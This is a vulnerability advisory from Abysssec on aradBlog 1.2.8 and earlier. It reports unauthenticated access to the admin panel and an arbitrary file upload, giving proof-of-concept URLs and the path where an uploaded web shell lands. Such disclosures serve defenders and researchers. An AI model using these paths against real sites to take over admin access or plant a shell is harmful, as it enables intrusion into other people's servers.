
# Abysssec Research

## 1) Advisory information

| | |
|---|---|
| **Title** | **: aradBlog Multiple Remote Vulnerabilities** |
| **Affected** | **: <= 1.2.8** |
| **Discovery** | **: www.abysssec.com** |
| **Vendor** | **: http://www.arad-itc.com** |
| **Impact** | **: Critical** |
| **Contact** | **: shahin [at] abysssec.com , info [at] abysssec.com** |
| **Twitter** | **: @abysssec** |

## 2) Vulnerability Information

Class

1- **Remote Admin Panel Access**

2- **Arbitrary File Upload**

**Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying server.**

Remotely Exploitable

**Yes**

Locally Exploitable

**No**

# 3) Vulnerabilities detail

## 1- Remote Admin Access:

In this latest of aradBlog you can access to Admin's dashboard with this virtual Path.

The value 'mainadmin' is a virtual path that defines in this DLL:  App_Web_eqzheiif.dll and FastObjectFactory_app_web_eqzheiif class.

```
...
public mainadmin_main_aspx()
 {
   this.AppRelativeVirtualPath = "~/mainadmin/Main.aspx";
   ...
 }
...
```

PoC:

```
http://Exapmle.com/mainadmin/Main.aspx
```

## 2-Arbitrary File Upload:

You can upload any malicious file using this path:

```
http://Example.com/mainadmin/downloads.aspx
```

if you upload a shell.aspx for example, it will be  store in this path:

```
shell.aspx  --->  http://Example.com/downloads/uploads/2010_7_25_shell.aspx
```

Note that: the value 2010_7_25 is the exact date of server.